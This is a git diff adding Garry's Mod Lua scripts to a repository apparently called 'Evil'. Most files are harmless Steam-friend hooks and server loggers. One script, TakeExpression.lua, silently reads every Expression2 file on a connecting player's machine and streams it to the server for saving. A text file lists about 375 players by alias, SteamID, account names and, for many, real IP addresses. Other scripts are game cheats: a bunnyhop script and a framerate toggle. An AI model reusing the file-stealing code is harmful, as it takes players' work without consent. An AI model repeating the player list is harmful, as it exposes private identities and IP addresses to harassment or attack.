+hook.Add("EPersonaChangeGamePlayed", "SHook", function(id) +local gamePlayed = steamFriends005:GetFriendGamePlayed(id) + +if (gamePlayed) then +print(string.format("[%s] '%s' is now playing {AppID:%d}", os.date(), steamFriends005:GetFriendPersonaName(id), gamePlayed:GetCGameID():AppID())) +else +print(string.format("[%s] '%s' is no longer playing anything", os.date(), steamFriends005:GetFriendPersonaName(id))) +end +end ) + +hook.Add("EPersonaChangeGameServer", "SHook", function(id) +print(string.format("[%s] '%s' is now playing on %s:%d", os.date(), steamFriends005:GetFriendPersonaName(id), steamFriends005:GetFriendGamePlayed(id):GetGameIP( ), steamFriends005:GetFriendGamePlayed(id):GetGamePort())) +end ) + +hook.Add("EPersonaChangeAvatar", "SHook", function(id) +print(string.format("[%s] '%s' changed their avatar", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeJoinedSource", "SHook", function(id) +print(string.format("[%s] '%s' joined source", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeLeftSource", "SHook", function(id) +print(string.format("[%s] '%s' left source", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeRelationshipChanged", "SHook", function(id) +print(string.format("[%s] Your relationship with '%s' changed", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeNameFirstSet", "SHook", function(id) +print(string.format("[%s] The owner of %s has just set his/her name for the first time", os.date(), id:Render())) +end ) +[/lua] + +[lua] +include("steamworks.lua") + +local friendFlag = 4 + +for i=0, steamFriends005:GetFriendCount(friendFlag)-1 do +local targetFriend = steamFriends005:GetFriendByIndex(i, friendFlag) + +if (steamFriends005:GetFriendPersonaName(targetFriend ) == "Chris") then +steamFriends002:SendMsgToFriend(targetFriend, 1, "Hi Chris") +steamFriends002:SendMsgToFriend(targetFriend, 3, "") +end +end +[/lua] + +[lua] +include("steamworks.lua") + +local communityBase = 103582791429521408 --(103582791430000000 - 478592) + +local function ClanCommunityIDToClanAccountID(communityID) +return communityID - communityBase +end + +local function ClanAccountIDToClanCommunityID(accountID) +return accountID + communityBase +end + +local communityID = 103582791430354656 + +local groupCSID = steamworks.CSteamID() +groupCSID:InstancedSet(ClanCommunityIDToClanAccoun tID(communityID), 0, 1, 7) + +print(groupCSID) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/SRVLog.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/SRVLog.lua new file mode 100644 index 0000000..918cda2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/SRVLog.lua @@ -0,0 +1,42 @@ +if SERVER then return end +--HeX's "WTF was that server i played on!" script + +local SRVLogEnabled = CreateClientConVar("srv_log_enabled", 1, true, false) +local SRVLogFile = "SRVLog/SRVLog.txt" + +local ServerFullDate = "DD-MM-YY HH:MM" +local ServerTime = "HH:MM" +local ServerName = "ServerName" +local ServerIP = "0.0.0.0" +local ServerMap = "gm_doesntexist" +local ServerPlayers = "0/0" +local SRVLogString = "SRVLogString" + +function SRVLogLog() + SRVLogFile = "SRVLog/"..os.date("%d-%m-%Y_%A")..".txt" + ServerFullDate = os.date("%d-%m-%y %I:%M%p") + + ServerTime = os.date("%I-%M%p") + ServerName = GetHostName() + ServerIP = "0.0.0.0" --there is no way to get the current server's IP that i know of + ServerMap = game.GetMap() + ServerPlayers = string.format("%s/%s", #player.GetAll(), GetConVarString("maxplayers")) + + SRVLogString = string.format("[%s]\nName: %s\nPlayers: %s\nMap: %s\n\n", ServerFullDate, ServerName, ServerPlayers, ServerMap) + --SRVLogString = string.format("[%s]\nName: %s\nIP: %s\n Players: %s\nMap: %s\n\n", ServerFullDate, ServerName, ServerIP, ServerPlayers, ServerMap) + + if not file.Exists(SRVLogFile) then + file.Write(SRVLogFile, string.format("HeX's Server Log created at [%s]\n\n", ServerFullDate)) + end + filex.Append(SRVLogFile, SRVLogString) + Msg("\n"..SRVLogString) +end + +local function SRVLogInit() + timer.Simple(3, function() + if SRVLogEnabled:GetBool() and not SinglePlayer() then + SRVLogLog() + end + end) +end +hook.Add("InitPostEntity", "SRVLog", SRVLogInit) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo.lua new file mode 100644 index 0000000..6daf46c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo.lua @@ -0,0 +1 @@ + print("! loaded") concommand.Add("poo", function() local function band( x, y ) local z, i, j = 0, 1 for j = 0,31 do if ( x%2 == 1 and y%2 == 1 ) then z = z + i end x = math.floor( x/2 ) y = math.floor( y/2 ) i = i * 2 end return z end function GetIP() local hostip = tonumber(string.format("%u", GetConVar("hostip"):GetString())) local parts = { band( hostip / 2^24, 0xFF ); band( hostip / 2^16, 0xFF ); band( hostip / 2^8, 0xFF ); band( hostip, 0xFF ); } return string.format( "%u.%u.%u.%u", unpack( parts ) ) end print(GetIP()) end) concommand.Add("fuck", function() local ServerIpPort = GetConVarString( "ip" )..":"..GetConVarString( "hostport" ) print(ServerIpPort) end) concommand.Add("shit", function() local hex2dec = { ["a"] = 10, ["b"] = 11, ["c"] = 12, ["d"] = 13, ["e"] = 14, ["f"] = 15, } local dec = tonumber(string.format("%u", GetConVar("hostip"):GetString())) print("dec", dec) local split = string.ToTable(string.format("%x", dec)) print("split"); PrintTable(split) local ip = "" for i=1, #split, 2 do local a = split[i] local b = split[i+1] print("a: ", a, hex2dec[a], tonumber(a), "b: ", b, hex2dec[b], tonumber(b)); ip = ip..((hex2dec[a] || tonumber(a))*16)+(hex2dec[b] || tonumber(b)) if (i < (#split-2)) then ip = ip.."." end print(ip); end serverip = ip print(serverip) end) --[[ --fucking...SOMEONE! local ServerIP = "0.0.0.0" if #file.FindInLua("includes/modules/gmcl_getip.dll") >= 1 then require("getip") ServerIP = gamex.GetIP() else print("! [HeX] gmcl_getip.dll missing!") return end ]] \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo2.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo2.lua new file mode 100644 index 0000000..1c7490b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo2.lua @@ -0,0 +1,32 @@ + + +require("gsapi") + +hook.Add( "GSReputation", "GMTRep", function( eResult, repScore, isBanned, bannedInfo ) + + Msg( "Got GSReputation!\n" ) + Msg( "EResult: ", eResult, "\n" ) + + --if ( eResult != EResultOK ) then return end + + Msg( "Reputation: ", repScore, "\n" ) + Msg( "Is Banned: ", isBanned, "\n" ) + PrintTable( bannedInfo ) + Msg( "\n\n" ) + +end ) + +hook.Add( "GSGameStats", "GMTGameStats", function( eResult, rank, totalConnects, totalMinsPlayed ) + + Msg( "Got GSGameStats!\n" ) + Msg( "EResult: ", eResult, "\n" ) + + --if ( eResult != EResultOK ) then return end + + Msg( "Rank: ", rank, "\n" ) + Msg( "Total Connects: ", totalConnects, "\n" ) + Msg( "Total Mins Played: ", totalMinsPlayed, "\n\n" ) + end ) + +print(gameserver.GetPublicIP()) +gameserver.GetGameplayStats() \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/rdx.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/rdx.lua new file mode 100644 index 0000000..589b84e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/rdx.lua @@ -0,0 +1,28 @@ + + +local function MakeSafe(str) + return str:gsub("[\"*%?|\'<>:]", "_") +end + + +hostname..".txt" + +local dir_sub = dir:gsub( "[\"*%?|<>:]", "_" ) //Credit to Kogitsune +local logs = {} +local num = 0 + + +if !file.Exists(dir_sub) then file.Write(dir_sub,os.date()) + print("Dir Created") end function rbx.log(pl,text) + for k,v in pairs(player + +end + +function rbx.log(pl,text) --local num local hostname +end + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/T_toggle_script.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/T_toggle_script.lua new file mode 100644 index 0000000..fa6697b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/T_toggle_script.lua @@ -0,0 +1,36 @@ +--[[ + === HeX's T toggle script, for Sykranos == +]] + + +local function LongDick(bool) + if bool then + RunConsoleCommand("host_framerate", 10) + else + RunConsoleCommand("host_framerate", 0) + end +end + + +local PressOn = nil +local PressOff = nil +local function Boobies() + local Down = input.IsKeyDown(KEY_T) + + if Down then + if not PressOn then + PressOn = true + PressOff = false + + LongDick(true) + end + else + if not PressOff then + PressOff = true + PressOn = false + + LongDick(false) + end + end +end +hook.Add("Think", "Boobies", Boobies) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/TakeExpression.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/TakeExpression.lua new file mode 100644 index 0000000..2dcc064 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/TakeExpression.lua @@ -0,0 +1,51 @@ + + +require("datastream") + +if (SERVER) then + AddCSLuaFile("autorun/saveexpression.lua") + + local function TellAdmins(str) + Msg(str) + for k,v in pairs( player.GetAll() ) do + if ValidEntity(v) and v:IsAdmin() then + v:PrintMessage(HUD_PRINTCONSOLE, str) + end + end + end + + local function SaveExpression(ply,han,id,enc,dec) + if not ValidEntity(ply) then return end + + local Name = dec.Name + local ReadString = dec.ReadString + local Filename = Format("%s-%s.txt", ply:SteamID():gsub(":","_"), Name) + + if not file.Exists(Filename) then + file.Write(Filename, ReadString) + + TellAdmins( Format("E2: %s from %s complete!\n", Name, ply:Nick()) ) + end + end + datastream.Hook("Booty", SaveExpression) +end + + +if (CLIENT) then + local function TakeExpression() + for k,v in pairs( file.Find("Expression2/*.txt") ) do + timer.Simple(k/3, function() + datastream.StreamToServer("Booty", + { + Name = v + ReadString = file.Read("Expression2/"..v) + } + ) + end) + end + end + timer.Simple(2, TakeExpression) +end + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/bhop.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/bhop.lua new file mode 100644 index 0000000..99a2820 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/bhop.lua @@ -0,0 +1,42 @@ +--[[ + === Simple BHop script by HeX === +]] + +local function DoHop() + RunConsoleCommand((LocalPlayer():IsOnGround() and "+" or "-").."jump") +end + + +local Online = false + +local function Toggle_On(ply,key) + if key == IN_JUMP then + Online = true + else + Online = false + end +end +hook.Add("KeyPress", "Toggle_On", Toggle_On) + +local function Toggle_Off(ply,key) + + +end +hook.Add("KeyRelease", "Toggle_Off", Toggle_Off) + + + +local function CheckBHop() + if Online then + + end +end +hook.Add("Think", "CheckBHop", CheckBHop) + + + + +KeyPress +KeyRelease + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cHFUwXNe.txt b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cHFUwXNe.txt new file mode 100644 index 0000000..57740dd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cHFUwXNe.txt @@ -0,0 +1,379 @@ +ALIAS | STEAMID | STEAM USERNAME | SETHACK USERNAME | IP ADDRESS + +Zurchi | STEAM_0:0:24542076 | zurchi123 | Zurchi | 74.45.34.55 +/FL-TPK\ Static | STEAM_0:1:11736063 | dweefer | wesaw | 67.141.31.218 +Vella. | STEAM_0:1:26853786 | vellawashere | vellawashere | 122.111.212.64 +.Nood!e The Epic One #Miami | STEAM_0:0:4268664 | mizzhpnotiq | Supremacy | 108.72.24.220 +STONEY | STEAM_0:1:22308446 | summer1976 | stoney | 75.80.28.115 +g0thic | STEAM_0:1:47029807 | r3tardedboi | sodafiz10 | 24.127.180.80 +Kabab CAPPED D: (upgrading tho) | STEAM_0:0:27281484 | nicko912 | shotgunman123 | 27.33.144.138 +{-Dε-} Frank | STEAM_0:0:25345204 | simonsmsn199 | rusher +Al K Holic | STEAM_0:0:40161943 | azansensation | rockbanh | 98.207.233.203 +Ownage | STEAM_0:0:18355021 | coldkillz | realossum +Plush | STEAM_0:0:31909554 | 50grands | Plushy | 71.251.103.37 +GraV. | STEAM_0:1:6788895 | nughuffer | phuzzz | 68.82.21.148 +Variable #_- | STEAM_0:0:14218119 | diablofocker1 | otyrc | 99.101.16.136 +Someone4956 | STEAM_0:0:41799917 | someone4958 | Orfen | 74.245.102.189 +Armo702 | STEAM_0:1:20318952 | harut702 | nvenergy | 68.224.99.244 +|QIG|Carbon | STEAM_0:1:31811639 | carbon1121 | noobers | 184.19.206.7 +vizioN | STEAM_0:1:10457218 | uboplayer10515 | Noize | 76.16.178.166 +Kenni Holm | STEAM_0:0:38893214 | malteersej123 | nicki0676 | 80.162.231.70 +Benjamin | STEAM_0:0:31372055 | nachtmaere | NachtMaere +TrishaH! | STEAM_0:1:12412908 | corystraka | mster_93 | 72.177.171.196 +Heineken | STEAM_0:0:28307108 | heinserver | MrShizzle | 87.210.126.221 +Tha hotzi | STEAM_0:1:26736765 | temponinja | Mathias242 | 188.114.145.234 +ZERO-OfC.38713 | STEAM_0:1:48308696 | maryland420 | maryland | 92.32.218.120 +Lonke_skâ–ˆken | STEAM_0:1:20690416 | powertech95 | Lonke | 90.224.61.185 +Lemmi Winks | STEAM_0:0:48430247 | lwinks | Lemmi | 114.77.240.243 +The Great Milenko | STEAM_0:0:38727026 | briannm11 | Krypton | 67.184.25.186 +That one black friend you have | STEAM_0:0:10089448 | kris144 | kris144 +oG] Tiger Diaz | STEAM_0:1:13737877 | ronbo101 | jdog +Paradox | STEAM_0:1:25032393 | shockwave513 | iParadox | 67.204.222.225 +GameBro | STEAM_0:1:25961258 | krystalmeth | HezzAU +Agent Gibbs | STEAM_0:1:46113191 | billsanders19 | hexxus +-GuN- Hemirox | STEAM_0:0:26325520 | hemirox | hemirox | 69.250.107.183 +pllu | STEAM_0:0:14084529 | magnus733 | helseth321 | 80.212.107.153 +State Trooper | STEAM_0:0:43988463 | bullhead1997 | halo200663 | 99.163.95.16 +ASDN Miss May I | STEAM_0:0:36820593 | mitchjk1616 | GetSomeBro | 99.251.43.245 +[OG-A] Chris | STEAM_0:0:15930135 | lilganxsta | Georgethegray +Eltrut | STEAM_0:0:29790222 | _exilez_ | flybabe | 90.214.94.233 +Flapadar | STEAM_0:0:10839552 | Flapadar +whatsinthecurtain | STEAM_0:0:48424005 | stanmarsh1 | feerer1999 | 98.177.158.230 +MostWantedPwnz | STEAM_0:1:12681987 | holeesheet | FallenAmnesia | 174.1.64.40 +Philop | STEAM_0:1:41152155 | zeus5k | ezrider | 68.6.136.199 +cola | STEAM_0:1:32073049 | candykid7 | dz +Rick Ross12 | STEAM_0:1:38018800 | jharter14 | driftz | 24.210.231.111 +[iF] ThyDistractioN | STEAM_0:1:34370714 | smdordiie | dray +.Skeetz | STEAM_0:1:14682870 | toodandee | Drakkennith | 76.97.51.36 +Gaston | STEAM_0:1:37173161 | 777heavenslord777 | Doom +despected | STEAM_0:1:16602699 | mikerizi | despected | 174.119.166.195 +The Opal PrinceÂ…Â… | STEAM_0:0:33147875 | uglycarr2 | delta404 | 72.91.117.4 +Trollcopter | STEAM_0:0:17104852 | brod8294 | brody | 24.255.170.133 +Brlski | STEAM_0:0:45776064 | brlski | brlski | 75.100.147.4 +kl0wn | STEAM_0:0:3950924 | kl0wnzy | br0wny | 96.42.17.112 +TR 2Lt. C. Beckett | STEAM_0:0:31391445 | xxdagrimreaperxx | Blade33 | 108.20.158.176 +658402 | STEAM_0:0:32767364 | ironmaidenbitch123 | bgfds | 96.51.25.176 +Das|Swag | STEAM_0:1:17041504 | bfwnathan | bfwnathan | 96.35.93.49 +Dâ–ˆS████ | STEAM_0:1:15748061 | bfwlegend | bfwlegend | 96.35.93.49 +[Gmod.biZ] Sir.Genome | STEAM_0:0:48346538 | arcncss | arcn | 46.9.132.33 +[IG-A] Loweskii | STEAM_0:0:39101463 | b_lowe | AlwaysOnFiyah | 71.57.10.28 +Mr. Green | STEAM_0:1:24311352 | alexgopro | AlexWHS1 | 84.19.169.227 +Boodgie | STEAM_0:0:37814204 | aaroniveson | aaronxd +HawkMan | STEAM_0:0:27284598 | kbhawkman | 76.102.110.26 +Zilch | STEAM_0:1:46476374 | mangwtf1 | 174.113.4.221 +[FG]EvilOnee | STEAM_0:1:21421892 +o o | STEAM_0:1:23836998 +BibidyBobidy ッ | STEAM_0:1:23860062 | ble98 | 64.71.118.113 +DoG | STEAM_0:1:21196163 +[FG] KeNNy | STEAM_0:1:22097298 +P3DR0 H4B4N3R0 | STEAM_0:1:24298133 +๖ۣۜڱŋợÉGlợÉ | ~NyuuN | STEAM_0:1:20754655 +Hyper Iguana | STEAM_0:1:24365429 +QUAZI | STEAM_0:1:16650255 +Dirty Negro | STEAM_0:1:47407672 +ï| Tittles | STEAM_0:1:23359101 +Mr Derpa | STEAM_0:1:23240412 +Zman_- | STEAM_0:1:22090954 +**Th0m@Z** ~ | STEAM_0:1:21961455 +Sixshot | STEAM_0:1:21779583 +deer' | STEAM_0:1:22119869 +Zomg!NoWai! | STEAM_0:1:22390206 | jellystomper | 96.234.147.63 +Ivéf | STEAM_0:1:22293020 +Shrugy | STEAM_0:1:22395794 +PuRpLeHaZe - FEAR.FM | STEAM_0:1:22689778 +Mr. Box | STEAM_0:1:21555783 +<*DG*>YoÅøﻮGιу™ | STEAM_0:1:22857859 +๖ۣۜGhoئtÑÂideÑ | STEAM_0:1:24283095 +*Pinguu.Lua | STEAM_0:1:45424776 +ZeusTheAlmighty | STEAM_0:1:20106843 +è± | STEAM_0:1:20099256 +Keeran | STEAM_0:1:19812177 +Metrotyranno | STEAM_0:1:14299044 +Bearcat WOLFCRAFT.BIZ | STEAM_0:1:14220841 +Dat Idle Guy | STEAM_0:1:14133131 +Skull | STEAM_0:1:5247800 +Arlando | STEAM_0:1:13142739 +Bon Bons | STEAM_0:1:5638617 +AweSome | STEAM_0:1:12965434 +Death From Above | STEAM_0:1:6832210 +Rambo | STEAM_0:1:12151307 +EveryFlavor | STEAM_0:1:11726504 +Sasquatch | STEAM_0:1:11455628 | brayden307 | 137.186.61.153 +Zukazan [∆F] ☃: | STEAM_0:1:11445558 +el porsche | STEAM_0:1:11340452 +Xike | STEAM_0:1:11183998 +LaWL den 2 | STEAM_0:1:9679654 +Major Lazare | STEAM_0:1:14736268 +Love | STEAM_0:1:14864726 +Atomic | STEAM_0:1:15217338 +Niggly | STEAM_0:1:47460935 +Suck farts out of your butthole | STEAM_0:1:19916550 +Who? | STEAM_0:1:19896283 +|GoG| Rick.James(GoGisUP !) | STEAM_0:1:19825574 +Terd | STEAM_0:1:48004946 +Hobo | STEAM_0:1:19758658 +Juice Gamer | STEAM_0:1:19487854 +[Xiv]Chuck | STEAM_0:1:18927264 | mathewsonc | 99.50.122.160 +Douglas Quaid | STEAM_0:1:18503351 +Ace | STEAM_0:1:18428802 | thurman469 | 99.3.32.69 +SofaKing! | STEAM_0:1:1816051 | fordmustangracer@sbcglobal.net | 67.181.123.163 +Sex | STEAM_0:1:17510845 +drrrr | STEAM_0:1:17174283 +LiMe313 |úѕ| | STEAM_0:1:15671127 +The Mysterious One | STEAM_0:1:15465879 +Roqj | STEAM_0:1:20394702 | starhero_tom +EpicWin | STEAM_0:1:10951517 +The King | STEAM_0:1:41847396 +Ollie1999tx | STEAM_0:1:34087705 +I'm A Potato! Eat Me! | STEAM_0:1:34494278 +~â¯~ | STEAM_0:1:42186117 +BlueGhostHD | STEAM_0:1:35038611 +Exogen Manwhore | Killjoy | STEAM_0:1:35214598 +[HZ]Spc. CarmineGear | STEAM_0:1:35864181 +CHINK_ | STEAM_0:1:36452221 +Jacob | STEAM_0:1:36634664 +Ollie1999tx | STEAM_0:1:34087705 +[R.A.D.] Pro.fessor {SCAT} | STEAM_0:1:33947987 +weps|Ciudad-Viciosa.tk|Stop OPEN | STEAM_0:1:32188768 +PrimeDeath | STEAM_0:1:32540524 | jubbil | 82.11.130.3 +metawolf ~ | STEAM_0:1:32988394 +PiTÊ™vâ„“â„“ | STEAM_0:1:33316540 +»TRoxiiN | STEAM_0:1:33348455 | lukemolina | 58.178.200.164 +Boxedin123 | STEAM_0:1:33708353 +[WGZ-Mod] Professional | STEAM_0:1:42239129 +Arrex | STEAM_0:1:33804755 +Melon | STEAM_0:1:36817398 +Aeris | STEAM_0:1:36831604 +Smelly | STEAM_0:1:38471187 +--EMPTY-- | STEAM_0:1:38572580 +GOD Unit | STEAM_0:1:39151178 | alientree | 173.33.0.20 +Garmuyu | STEAM_0:1:39246443 +Modem | STEAM_0:1:39945838 +||TPB|| MuneyMan | STEAM_0:1:40421851 +Jackson | STEAM_0:1:40740032 +Ominous Penguin | STEAM_0:1:41231090 +Spectralx | STEAM_0:1:38418099 +Mort | STEAM_0:1:38224022 +y0gurt | STEAM_0:1:42061868 +Mr. hat | STEAM_0:1:37475407 +Lakai | STEAM_0:1:37602703 +Cepheus | STEAM_0:1:37768656 +NOSEE | STEAM_0:1:37836545 +sniper0shaman | STEAM_0:1:37962455 +NRG iStealth | STEAM_0:1:42115332 +Lutraphobia | STEAM_0:1:3820407 | cyberizone1 | 71.169.2.94 +()()-AfroTendovvi | STEAM_0:1:32024708 +Mr. Lister | STEAM_0:1:42922839 +MaddenIsRiggedAsFuck | STEAM_0:1:43675285 +ZippoKing | STEAM_0:1:44231995 | thefatmexican420 | 70.244.33.236 +DESUDESUDESUDESUDESUDESUDESU | STEAM_0:1:44179686 +[GM] Gaw | STEAM_0:1:26104355 +rED | STEAM_0:1:26149157 +S!lv3r Sk1ES | STEAM_0:1:26344770 +PurpleOne [NL]. | STEAM_0:1:26452550 +Balphi | STEAM_0:1:44138147 +XxLordxL | STEAM_0:1:43834910 +KingQuarter | STEAM_0:1:25946562 +[AsdN] _|Azadiri|_ | STEAM_0:1:25608913 +I dat Guy MakeVio | STEAM_0:1:24429786 +Â…Â… | STEAM_0:1:24435842 +[w2F] dino | STEAM_0:1:27816443 +-{PuG}- Oscor :3 | STEAM_0:1:24452164 +Pitbull | STEAM_0:1:25015916 +[Vs3-FAN] Carlosss!!! | STEAM_0:1:45012497 | charlestremblay294 | 69.159.131.29 +Beast | STEAM_0:1:44677843 +Chocomeli | STEAM_0:1:25555698 +strysw | STEAM_0:1:26860260 | dlxchrome | 66.74.81.205 +Dragon Born - Bescharlie | STEAM_0:1:26949104 +[DTG] Sgarner215 | STEAM_0:1:29951145 +sapsapsap | STEAM_0:1:43680868 +Bravebud | STEAM_0:1:30107073 +Astrid | STEAM_0:1:30433726 +Nope? | STEAM_0:1:30665992 +Phatpat420 | STEAM_0:1:30673177 +Troller T Troller | STEAM_0:1:31052706 +=ZCC= Niko | STEAM_0:1:31336428 | killahomes21 | 173.27.6.200 +Grim | STEAM_0:1:29826193 +Chaotic_Killa | STEAM_0:1:29797333 | chaotic_killa_420 | 174.102.141.79 +-=NrK=- XxSimxX | STEAM_0:1:27314406 | xxsimxx22 | 96.23.106.235 +Diabetis!! | STEAM_0:1:28606506 +[BSG] Fall0ut | STEAM_0:1:28741409 +S0lid^ | STEAM_0:1:28757742 | onetion | 80.202.233.167 +John Mason | STEAM_0:1:28821506 | carbineee | 24.13.99.253 +Hard Dick Chappy | STEAM_0:1:28822567 +[NNJG]Weard22 | STEAM_0:1:29131992 +Barack Obama | STEAM_0:1:29688941 +Teh Penguin | STEAM_0:1:24413062 | mrpenguin81 | 24.209.97.66 +Anders Behring Breivik | STEAM_0:1:10908429 +Hype | STEAM_0:0:22193301 +Atee | STEAM_0:0:24893931 +ClubLuigi | STEAM_0:0:24940422 +broWnie! :)<3 | STEAM_0:0:25158284 +Waffle | STEAM_0:0:25270338 +Jessi | STEAM_0:0:25348067 +ŠŠŠŠ‹‹‹ ŠŠŠŠ‹‹‹rawr | STEAM_0:0:25381040 | blokpoi | 72.184.19.27 +Apple<3 | STEAM_0:0:25512219 +Jamie H | STEAM_0:0:25687098 +Edit.ѕý | STEAM_0:0:24663823 +im so sorry | STEAM_0:0:24542833 +Ceeren - cat and coup | STEAM_0:0:24235484 +SadFace | STEAM_0:0:22954333 +TKO. Pancake Mix | STEAM_0:0:23397918 +ReconPWNâ„¢ | STEAM_0:0:23718967 +Special Agent Johnson | STEAM_0:0:23748086 +Smelly | STEAM_0:0:23751500 +Renzo | STEAM_0:0:23783780 +Z0mbiN3 | STEAM_0:0:23888757 +TrueCoppa | STEAM_0:0:24213184 +-ħҞG- â±¢ÆÂÆÂʇ | STEAM_0:0:25914952 +I like pie. | STEAM_0:0:25993862 +Bomb | STEAM_0:0:27566975 +(=PCH-A=) BloodKhaoz (Z-TV) | STEAM_0:0:27969040 +Nick | STEAM_0:0:28182488 +☮Lizard95♥ | STEAM_0:0:21444604 +HolyWater | STEAM_0:0:28581801 +GLaDOS | STEAM_0:0:29239364 +Sanyo | STEAM_0:0:29309865 | pop002 | 72.193.3.45 +Becky | STEAM_0:0:29351959 +Shadowkaisa | STEAM_0:0:27533033 +Xyven | STEAM_0:0:27413348 +Sergei Petrovic | STEAM_0:0:27083822 | micd55 | 66.90.75.109 +Fried Chicken Dawg | STEAM_0:0:26159643 +bubba | STEAM_0:0:26325272 +Fjernsyn | STEAM_0:0:26707259 +L33T H4X0R | STEAM_0:0:26745412 +prophet Elousive [killerj.gc | STEAM_0:0:7382018 +Non-Toxic | STEAM_0:0:8392364 +Cole | STEAM_0:0:8406038 +GarBear | STEAM_0:0:8742065 +Canuckk | STEAM_0:0:9666313 +p0seyd0n | STEAM_0:1:10309922 +KaNN | STEAM_0:1:10417976 +Daniel | STEAM_0:0:6008944 +[HA]SwááäâG' LIke a Baws. | STEAM_0:0:5976660 +here i go | STEAM_0:0:47772765 +Dynasty | STEAM_0:0:44029436 +| STEAM_0:0:44719051 +sKiTTel | STEAM_0:0:44864516 +Ben Naughtyâ„¢ | STEAM_0:0:45008543 +Xero | STEAM_0:0:45552887 | darien3130 | 24.23.227.150 +Mao ~ | STEAM_0:0:45680214 +Explosive dirrhea | STEAM_0:0:46066 +Diabetic Horse | STEAM_0:0:46676890 +[Gmod.Biz] Dr.Luigi 憤怒的洪浠| STEAM_0:1:10487209 +Krutas | STEAM_0:0:39817531 | richirik2006 | 76.169.46.123 +☜â™â€The Toastâ™â€Ã¢ËœÅ¾ | STEAM_0:0:30231250 +Karsonatorz ||FLÙï­Â|| | STEAM_0:0:31831965 +carl | STEAM_0:0:31911048 +(CG) Birdman | STEAM_0:0:32144549 +New Kids till eternity | STEAM_0:0:32211033 +sopa police | STEAM_0:0:32816200 +Duilio | STEAM_0:0:33176714 +[GDIF] GDI UPLOADING | STEAM_0:0:33891807 | andre_125 | 85.243.41.203 +Travis | STEAM_0:0:34143111 | dillengers | 184.148.96.125 +[FG] Batyote | STEAM_0:0:31700656 +(WBA Inf.)Pfc. Killjoy445 | STEAM_0:0:31615557 +James | STEAM_0:0:31219365 +Cyphy | STEAM_0:0:30256551 +Santa_Claus | STEAM_0:0:30475525 | bananer_bent | 87.59.117.193 +Glazed | STEAM_0:0:3051020 +Mark | STEAM_0:0:30714265 +CaLi-#pRo- | STEAM_0:0:30763145 +Zack | STEAM_0:0:30826484 | zack_905 | 72.38.27.253 +|RollG| CupQuakes | STEAM_0:0:31001396 +Ipwnedx @ PwnGaming.net | STEAM_0:0:31109435 | airsoftman87 | 72.185.183.144 +L0xX1^ +2 Line-up, inkl caller! | STEAM_0:0:34175835 +Kay | STEAM_0:0:34407341 | connor_2713 | 108.20.28.62 +wootz | STEAM_0:0:37589369 +Kropp | STEAM_0:0:37727265 +Rbps <3 Kirby | STEAM_0:0:37919749 +Supreme | STEAM_0:0:37946973 +Gabbo | STEAM_0:0:37989029 +Herpinshmerp | STEAM_0:0:38251387 | linksword917 | 75.76.83.234 +Plutâ–ˆium | STEAM_0:0:39050301 | clockworkcycles +Mortal Freaking Viking (NOR( | STEAM_0:0:39163312 +๖ۣۜRavenger_- [BSG] | STEAM_0:0:36684923 +Pwnography | STEAM_0:0:36420722 | foolhardiness | 64.9.249.3 +†๖̶ۣۜHateItOrLoveIt †| STEAM_0:0:36205580 +The Flying Chicken | STEAM_0:0:34899925 +[TNS-M] Scene | STEAM_0:0:35034428 +boat | STEAM_0:0:35693267 +HAZARD | STEAM_0:0:35799570 | darkpwange | 23.16.211.115 +Killa_Mike | STEAM_0:0:3592017 +Twitty/Notch/Boxxy(MAJOR) | STEAM_0:0:35978616 +|WT| make violence not war | STEAM_0:0:36040190 | mrguy12321 | 70.114.57.177 +st0p ACTA n00bz | STEAM_0:0:36088084 +noiamnotknuckles | STEAM_0:0:39543268 + +375 Total Users with 106 Steam Usernames, 59 SethHack Usernames and 92 IP Addresses registered. \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cansee.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cansee.lua new file mode 100644 index 0000000..0945031 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cansee.lua @@ -0,0 +1,85 @@ + + + +local DELAY_LAST = 0 +local DELAY_TOTAL = 2.0 +local Players = {} + +local function FillPlayerTable() --Refresh table, only adding every 2s to not lag + if (CurTime() < (DELAY_LAST + DELAY_TOTAL)) then + return Players + end + + Players = player.GetAll() + + for k,v in pairs(Players) do --Remove bad players + if 